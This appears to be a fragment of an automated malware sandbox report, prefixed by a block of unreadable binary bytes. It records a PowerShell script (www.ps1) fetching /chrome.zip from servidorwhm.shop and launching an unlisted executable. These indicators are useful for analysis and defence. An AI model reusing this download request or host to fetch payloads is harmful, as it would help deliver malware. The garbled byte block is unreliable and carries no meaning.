äç\|Ç7îûæÍ¶t¼nNbíwOªðz1Z}ñ®8/ãí£i9îw¯¦Ù.ÍPÒZÛð:±/ mü®©çdº>YJ3ùÂµ\|Pb,-ýÀ÷¹Tå¬0NpTh@þ~µñ};qVùÇ<MÚ/º~¯$Ú3?G@ösþfºEÑaÄ/{çÍÑôâfå®}3jÆtÈfÃïKÂyÝ':2ß´4gP7"Z¤Ñ!\|ËËÐÌfÄÄØjK£\!81h¬$¢t4 2nwÎ¹®BDUð&;×I-eÆRÞçëY¶´È¶ }ì>ésp4:õÐ"û@Ï¦>_ÐÄT/D=ö! çG:ÞÈQÛ§Ip^î^é~Ð5ý°kzÎÖÛèzÿ©«\|TbÁüÈÏooé\`@öuþÖF÷Tg9gâcñöqAJs`qO)t}íÁé6ñÛ¶7ÉüØ â0 Ë6v¤ s§0câT¤ bÒS D¯éË§ôc4qMAÐ@,VóýaÊÍôÞàO7ÄRB¤;o{Mø"<UÓ°ýÆkAýâ²Ô°¾üs_qA;Dú?0é<Ë(ÍkýpãÍÊoÏÕ8ðëÿôSRo5pªfÝjä_ø³Y&àzë,¿ÓH0StXbI¹yep_Ô&YÂ\*21DíÏ÷8W ÌB;mO â

Poweshell is sending data to a remote host (1 event)

Data sent

GET /chrome.zip HTTP/1.1 Host: servidorwhm.shop Connection: Keep-Alive

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send June 7, 2024, 9:28 a.m.	buffer: GET /chrome.zip HTTP/1.1 Host: servidorwhm.shop Connection: Keep-Alive socket: 1540 sent: 76	1	76	0

One or more non-whitelisted processes were created (1 event)

parent_process

powershell.exe

martian_process

C:\8520741\App8520741\8520741.exe

www.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All